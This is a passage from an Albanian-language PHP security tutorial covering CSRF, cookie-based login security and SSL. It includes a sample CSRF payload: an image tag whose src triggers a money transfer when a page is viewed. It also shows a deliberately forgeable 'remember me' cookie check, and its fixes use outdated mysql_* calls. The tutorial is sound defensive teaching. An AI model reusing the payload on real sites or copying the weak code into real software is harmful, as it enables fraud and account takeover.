<p><!--DEVFMTCODE--><pre class="devcodeblock" title="HTML"><div class="devcodeoverflow"><ol><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">img</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://www.sistemipageses.com/dergopara.php?tek=Dori&amp;sasia=1000&quot;</span> <span style="color: #000066;">alt</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Firma Ime&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Një imazh? Pikërisht një imazh me &#8220;src&#8221; (source &#8211; burim) që drejton tek URL-ja e manipuluar. Shfletuesit e proçesojnë dhe egzekutojnë URL-në në burim pa qenë të vetëdijshëm që nuk është imazh. Kjo bën që URL-ja të egzekutohet në çdo hapje të faqeve ku imazhi është vendosur. Në rastin tonë, ku imazhi ndodhet në firmën e sulmuesit apo në një postim blogu, kushdo që e sheh, e egzekuton. Imagjinoni nëse 100 anëtarë të aplikacionit në fjalë hapin forumin dhe egzekutojnë pa ditur atë URL! Duke qenë se sistemi përdor Cookies për anëtarët e identifikuar, dërgimi i parave do të kryhet automatikisht pa asnjë pyetje. Dori do të marrë 1000 para nga 100 anëtarë. Nëse do të ndodhte në një sistem të vërtetë, rezultatet do të ishin fatale!</p>
<p>Shpresoj ta keni kuptuar logjikën e funksionimit të CSRF, sepse të jem i sinqertë, është pak e komplikuar të gëlltitet. Sidomos sepse është teknikë paksa e çuditshme. Me siguri disa po mendojnë se është shumë e pamundur të ndodhë, sepse kërkon shumë përfshirje dhe kohë. Imagjinoni të bëhet fjalë për para të vërteta ku sulmuesi mund të përfitojë sasi të mëdha. Mendoni se s&#8217;ja vlen puna? Dikush me njohuri mund ta ndërtojë &#8220;rrjetin&#8221; e përfitimit brenda pak orëve.</p>
<h3>Shmangja e CSRF</h3>
<p>Për fat të mirë, ashtu si në teknikat e deri tanishme, edhe CSRF është e thjeshtë të shmanget nëse merren disa masa që nuk kërkojnë shumë punë. Kini parasysh këto pika:</p>
<ul>
<li>Mos përdorni $_REQUEST. E kam përmendur në fillim të guidës në një mini-seksion të veçantë. Mos njohja e burimit të të dhënave rrjedhimisht sjell probleme sigurie.</li>
<li>Përdorni POST në forma që kryejnë veprime dhe lëreni GET vetëm për të marrë të dhëna. Ky është një standart i mirë që do ju shmangë probleme, përfshirë CSRF (nëse përdoret $_POST dhe jo $_REQUEST).</li>
<li>Mos përdorni COOKIES në sisteme ku veprimet e anëtarëve kanë rrjedhoja. Në pjesën e madhe të rasteve, SESSIONS janë më të sigurtë. Nëse duhet patjetër ti ofroni anëtarëve autentifikim të zgjatur në kohë, merrni masat e duhura për të siguruar COOKIES (vjen në vijim).</li>
<li>Kërkoni ri-autentifikim të anëtarëve në zona kritike të sistemit.</li>
</ul>
<p>Masat e mësipërme, nëse respektohen zgjidhin problemet tipike që mund të vijnë nga CSRF. Megjithatë, për të qenë paranoikë në maksimum, mund të marrim një hap që praktikisht bllokon çdo tentativë për ti keqpërdorur format. Teknika përfshin krijimin e një fjale speciale të gjeneruar për çdo hapje forme, e cila ruhet si SESSION tek anëtari dhe përdoret për të parë nëse forma është egzekutuar në atë sesion. Shihni kodin më parë:</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span> </li><li><span style="color: #990000;">session_start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	Gjeneron nje fjale te rastesishme. uniqid() eshte funksion i PHP</span></li><li><span style="color: #666666; font-style: italic;">	qe gjeneron fjale ne baze te kohes ne mikrosekonda. Duke i vendosur</span></li><li><span style="color: #666666; font-style: italic;">	parametrin e pare (prefiksi) si mt_rand(), krijon edhe me teper</span></li><li><span style="color: #666666; font-style: italic;">	rastesi. Parametri i dyte (more_entropy) krijon gjithashtu me teper</span></li><li><span style="color: #666666; font-style: italic;">	rastesi ne gjenerim. Ne fund, e gjithe fjala kriptohet me sha1.</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #000088;">$token</span> <span style="color: #339933;">=</span> <span style="color: #990000;">sha1</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">uniqid</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">mt_rand</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">TRUE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">	Krijohet SESSION i cili mban token-in e gjeneruar.</span></li><li><span style="color: #666666; font-style: italic;">*/</span></li><li><span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'token'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$token</span><span style="color: #339933;">;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li><li>&nbsp;</li><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">form</span> <span style="color: #000066;">method</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;post&quot;</span>&gt;</span></li><li>	<span style="color: #808080; font-style: italic;">&lt;!-- Token-i vendoset si fushe e fshehur ne forme --&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;hidden&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$token</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot;</span></span></li><li><span style="color: #009900;">	&lt;<span style="color: #000000; font-weight: bold;">label</span>&gt;</span>Tek<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">label</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;tek&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">label</span>&gt;</span>Sasia e Parave<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">label</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;sasia&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></li><li>	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">button</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;submit&quot;</span>&gt;</span>Dergo<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">button</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">form</span>&gt;</span></li><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'tek'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> and <span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'token'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> and <span style="color: #000088;">$_SESSION</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'token'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'token'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #000088;">$tek</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'tek'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #000088;">$sasia</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>float<span style="color: #009900;">&#41;</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sasia'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #000088;">$rezParate</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT parate FROM anetaret WHERE emri='<span style="color: #006699; font-weight: bold;">$nga</span>'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//$nga po supozoj se vjen nga nje COOKIE</span></li><li>	<span style="color: #000088;">$vlerParate</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_fetch_assoc</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rezParate</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #000088;">$rezEgzis</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT id FROM anetaret WHERE emri='<span style="color: #006699; font-weight: bold;">$tek</span>'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Nese anetari ka mjaftueshem para per te derguar dhe marresi egziston.</span></li><li><span style="color: #666666; font-style: italic;">		Jo edhe aq miqesore, sepse do duhet te ndaheshin tipet e ndryshme te mesazheve,</span></li><li><span style="color: #666666; font-style: italic;">		poer e ben punen si shembull.</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$vlerParate</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'parate'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&gt;=</span> <span style="color: #000088;">$sasia</span> and <span style="color: #990000;">mysql_num_rows</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rezEgzis</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">			I heq dhe i shton parate respektivisht derguesit dhe marresisht dhe e regjistron transferten.</span></li><li><span style="color: #666666; font-style: italic;">			Normalisht, ne te tilla sisteme ku nje grup query-sh duhet te egzekutohet ne bllok dhe nese</span></li><li><span style="color: #666666; font-style: italic;">			njera deshton, deshtojne te gjitha, duhet te perdoren Transaksione.</span></li><li><span style="color: #666666; font-style: italic;">		*/</span></li><li>		<span style="color: #000088;">$rezTransferta</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;INSERT INTO transfertat (nga, tek, sasia) VALUES ('<span style="color: #006699; font-weight: bold;">$nga</span>', '<span style="color: #006699; font-weight: bold;">$tek</span>', '<span style="color: #006699; font-weight: bold;">$sasia</span>')&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #000088;">$rezMinus</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;UPDATE anetaret SET parate=parate - <span style="color: #006699; font-weight: bold;">$sasia</span> WHERE emri='<span style="color: #006699; font-weight: bold;">$nga</span>'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #000088;">$rezPlus</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;UPDATE anetaret SET parate=parate + <span style="color: #006699; font-weight: bold;">$sasia</span> WHERE emri='<span style="color: #006699; font-weight: bold;">$tek</span>'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Transferta u krye me sukses.'</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Parate nuk u derguar sepse nuk keni para ne llogari ose marresi nuk egziston.'</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Funksioni i asaj fjale të veçantë, që quhet Token, është fare i thjeshtë. Gjenerohet një fjalë e rastësishme e cila rifreskohet në çdo hapje të faqes. Fjala ruhet në një SESSION dhe në të njëjtën kohë ruhet në një input të fshehur të formës. Kur forma egzekutohet, kontrollohet nëse fjala (Token) e ruajtur në SESSION është e njëjtë me atë të ruajtur në formë. Nëse janë të ndryshme, do të thotë se forma po tentohet të egzekutohet përmes një teknike manipulative dhe rrjedhimisht, bllokohet. Vetëm me kaq, jo vetëm që shmangen sulmet CSRF, por edhe abuzime të tjera si dërgimi automatik i formave përmes robotëve.</p>
<p>Për ta përmbledhur, CSRF është një teknikë që përfiton nga naiviteti i programuesëve për të shfrytëzuar viktimat. Edhe pse çdo sistem mund të jetë vulnerabël, ajo që sulmuesëve realisht u intereson është përfitimi. Sistemet ku janë të përfshira para, transferta njësish monetare, blerje produktesh apo çdo gjë që ka vlerë objektive, janë në majën e listës të sulmeve CSRF. Megjithatë, të mbrohesh është aq e thjeshtë sa nuk ka justifikim për të mbrojtur çdo sistem, qoftë ai edhe më i vogli ku sulmuesit s&#8217;mund të përftiojnë asgjë. Mbani mend që vrimat e sigurisë janë ato që ushqejnë sulmuesit të bëjnë edhe më tepër dëme, qoftë në aplikacionin tuaj apo të të tjerëve. Mos i jepni shkas t&#8217;ju duket vetja se janë të aftë të thyejnë sisteme.</p>
<h2>Siguria e Cookies</h2>
<p>Cookies, si natyrë nuk janë të dhëna që mund të konsiderohen të sigurta dhe praktika e mirë është ti mënjanoni për të dhëna sensitive apo për të dhënë akses në seksione private. Vetë XSS është një sulm që si shënjestër ka Cookies në pjesën e madhe të rasteve dhe megjithëse mund të keni marrë masat për ti parandaluar, kjo s&#8217;do të thotë që Cookies të vizitorëve janë të sigurta. Pra, tentoni të mënjanoni përdorimin e Cookies për veprime me rëndësi.</p>
<p>Një nga rastet e pakta ku përdorimi i Cookies është i pashmangshëm janë sistemet e identifikimit, ku i ofrohet anëtarëve opsioni &#8220;më mbaj mend&#8221; që ruan statusin e identifikuar. Në fakt, përgjithësisht është opsion i detyrueshëm sepse i lë anëtarët të futen në aplikacionin tuaj pa pasur nevojë të identifikohen në çdo rast. Le të shohim një shembull tipik identifikimi.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>kontrollo_te_dhenat<span style="color: #009900;">&#40;</span><span style="color: #000088;">$emri</span><span style="color: #339933;">,</span> <span style="color: #000088;">$fjalekalimi</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #990000;">setcookie</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'identifikuar'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">3600</span> <span style="color: #339933;">*</span> <span style="color: #cc66cc;">24</span> <span style="color: #339933;">*</span> <span style="color: #cc66cc;">5</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//vendos cookie per 5 dite</span></li><li>	<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Te dhenat jane te sakte. Po drejtoheni ne panelin e administrimit...'</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Te dhenat jane te gabuara.'</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Ajo që kodi më sipër bën është shumë e thjeshtë. Thërret një funksion fiktiv që kontrollon të dhënat e futura (emër dhe fjalëkalim) dhe nëse janë të sakta, vendos një Cookie me emër &#8216;identifikuar&#8217; dhe vlerë &#8217;1&#8242;. Teorikisht gjithçka është në rregull, sepse anëtarëve u krijohet një Cookie kur identifikohen. Për ti bërë që të futen automatikisht në sistem kur një Cookie egziston, programuesi shkruan një kod si ai më poshtë përpara kodit më sipër.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'identifikuar'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> and <span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'identifikuar'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #990000;">setcookie</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'identifikuar'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">3600</span> <span style="color: #339933;">*</span> <span style="color: #cc66cc;">24</span> <span style="color: #339933;">*</span> <span style="color: #cc66cc;">5</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//vendos cookie per 5 dite</span></li><li>	<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Te dhenat jane te sakte. Po drejtoheni ne panelin e administrimit...'</span><span style="color: #339933;">;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Në këtë kod, kontrollohet nëse egziston Cookie dhe nëse vlera e tij është &#8220;1&#8243;. Nëse po, proçesi i identifikimit kryhet automatikisht dhe anëtari drejtohet në panelin e administrimit. Gjithashtu rivendoset Cookie për ti rinisur kohën e skadencës. Gjithçka në rregull apo jo? Absolutisht që jo! Kodi është aq vulnerabël sa edhe një 10 vjeçar mund të marrë akses si anëtar i regjistruar.</p>
<p>Besoj e dini që një Cookie mund të krijohet manualisht. Shfletues të ndryshëm kanë opsione të ndryshme për ti manipuluar, qoftë direkt apo përmes shtojcave. Gjithashtu, Cookies s&#8217;janë asgjë më tepër se skedarë të vegjël që ruhen diku në sistem. Si të tilla, një sulmues mund të krijojë një Cookie për aplikacionin tuaj që përmban vlera arbitrare. I duhet të eksperimentojë disi për të gjetur kombinimin egzakt të emrit dhe vlerës, por programuesit përdorin kryesisht terma standartë si: admin, identifikuar dhe ndonjë tjetër. Plus, si ç&#8217;kam thënë më sipër, kur dikush i vë qëllim vetes të thyejë një sistem, nuk do dorëzohet aq lehtë. Pra, përfundimi është që vetëm me një Cookie të krijuar manualisht, sulmuesi mund të marrë akses në sistemi si të ishte anëtar i regjistruar.</p>
<p>Për ta mënjanuar këtë problem, mund të përdoret një sistem fare i thjeshtë që ruan një token në cookie për ta bërë hamendësimin nga sulmuesi shumë më të vështirë. Për ta siguruar edhe më tepër, ky token mund të ruhet në databazë për ta krahasur me Cookie-n. Ideja është të gjenerohet një fjalë e cila është e njëjtë edhe në Cookie, edhe në databazë. Identifikimi automatik do të kryhet vetëm nëse të dyja përputhen.</p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'identifikuar'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>	<span style="color: #000088;">$id</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>int<span style="color: #009900;">&#41;</span> <span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'id'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//ID-ja e perdoruesit</span></li><li>	<span style="color: #000088;">$token</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_COOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'identifikuar'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//token-i i ruajtur ne Cookie</span></li><li>&nbsp;</li><li>	<span style="color: #000088;">$rezultatet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT token FROM anetaret WHERE id=<span style="color: #006699; font-weight: bold;">$id</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #000088;">$vlerat</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_fetch_assoc</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rezultatet</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #000088;">$token_db</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$vlerat</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'token'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Nese tokeni ne Cookie eshte i njejte me tokenin ne Databaze,</span></li><li><span style="color: #666666; font-style: italic;">		i japim akses ne panelin e administrimit.</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$token</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$token_db</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #000088;">$token_ri</span> <span style="color: #339933;">=</span> <span style="color: #990000;">sha1</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">uniqid</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">mt_rand</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">TRUE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//gjenerohet nje token i ri</span></li><li>&nbsp;</li><li>		<span style="color: #000088;">$rezultatet</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;UPDATE anetaret SET token='<span style="color: #006699; font-weight: bold;">$token_ri</span>' WHERE id=<span style="color: #006699; font-weight: bold;">$id</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//rifreskohet databaza me tokenin e ri</span></li><li>		<span style="color: #990000;">setcookie</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'identifikuar'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$token_ri</span><span style="color: #339933;">,</span> <span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">3600</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">24</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">5</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//rivendoset cookie me tokenin e ri</span></li><li>	<span style="color: #009900;">&#125;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Me këtë sistem, siguroj që vlera e Cookie përputhet me vlerën në databazë dhe rrjedhimisht ofrohet një sistem identifikimi i padepërtueshëm. Sa do të provojë një sulmues të krijojë një Cookie me vlera arbitrare, do ishte e pamundur për të të gjente një vlerë që egziston në databazë. Normalisht, tokeni duhet të krijohet edhe gjatë identifikimit, proçes të cilin e anashkalova sepse besoj është i qartë. Një sistem si ky është goxha i thjeshtë për tu implementuar dhe shmang çdo sulmues që tenton të marrë akses prej një Cookie arbitrare. Nuk ka arsye pse mos ta përdorni!</p>
<h2>SSL</h2>
<p>Kjo nuk është një çështje që i përket PHP-së në fakt, por ka shumë lidhje me sigurinë e faqeve në përgjithësi. Ajo që SSL ofron, është kriptimi i të dhënave të transmetuara midis klientit dhe serverit për të mënjanuar leximin e këtyre informacioneve nga sulmues. Përdorimi i SSL është kyç në forma identifikimi, në module blerjesh, cookie apo çdo sektor ku të dhënat janë sensitive dhe në rrezik nga sulmues.</p>
<p>SSL duhet aktivizuar nga të dy kahet, nga serveri dhe klienti. Nga ana e serverit mund të instalohen module të specializuar; Apache vjen me mod_ssl, një modul i bazuar në libraritë e OpenSSL. Nga ana e klientit, mjafton që protokolli të kthehet nga &#8220;http&#8221; në &#8220;https&#8221;. Komunikimi do të kriptohet automatikisht.</p>
<p>Megjithatë, ka diçka më tepër këtu se sa përdorimi i një protokolli. Zakonisht, shfletuesit shfaqin një njoftim kur dedektohet komunikimi i kriptuar me SSL dhe nëse nuk përdoret një çertifikatë e vlefshme, vizitorit i duhet ta pranojë këtë tip komunikimi dhe ta shtojë si të besuar. Problemi qëndron se kjo i tremb vizitorët pa eksperiencë dhe shumë prej tyre nuk do dinë si të veprojnë. Për fat të mirë, kompanitë e hostimit ofrojnë çertifikata të besuara SSL të cilat njihen automatikisht nga shfletuesit dhe nuk kërkojnë veprim nga vizitori. Çmimi i tyre varjon, por zakonisht shkon midis $50-100/vit për një domain dhe akoma më pak nëse blihen për grup domaine-sh.</p>
<h2>Përfundimi</h2>
<p>Me ato që ju kam treguar më sipër, duhet të keni marrë informacion të mjaftueshëm për të mënjanuar pjesën më të madhe të problemeve të sigurisë. Mjafton të jeni të kujdesshëm, të përgjegjshëm dhe të konsideroni këdo si sulmues për të nxjerrë jashtë sulmuesit tipik. Gjithashtu, tentoni të përdorni pak filozofinë e një sulmuesi gjatë kohës që kodoni aplikacionet tuaja që ti shihni gjërat në një këndvështrim tjetër, që me siguri është shumë më pak naiv se ai i programuesëve.</p>
<p>Thënë këto, duhet të kuptoni që siguria është një fushë shumë e madhe. Skenarët e sulmeve të aplikacioneve PHP janë aq të gjerë sa nuk do mjaftonin libra. Praktikisht çdo ditë zbulohen teknika të reja. Shto këtu edhe vrimat e sigurisë që mund të dalin nga keq-konfigurimi i sistemit operativ, i serverit web, i ndonjë aplikacioni që serveri përdor apo akoma më kritike, probleme arkitekturore të tyre (përfshi edhe PHP) dhe mundësitë shtohen edhe më tepër. Nuk dua t&#8217;ju tremb, thjeshtë dua t&#8217;ju tregoj se bota atje jashtë është e egër dhe mizore.</p>
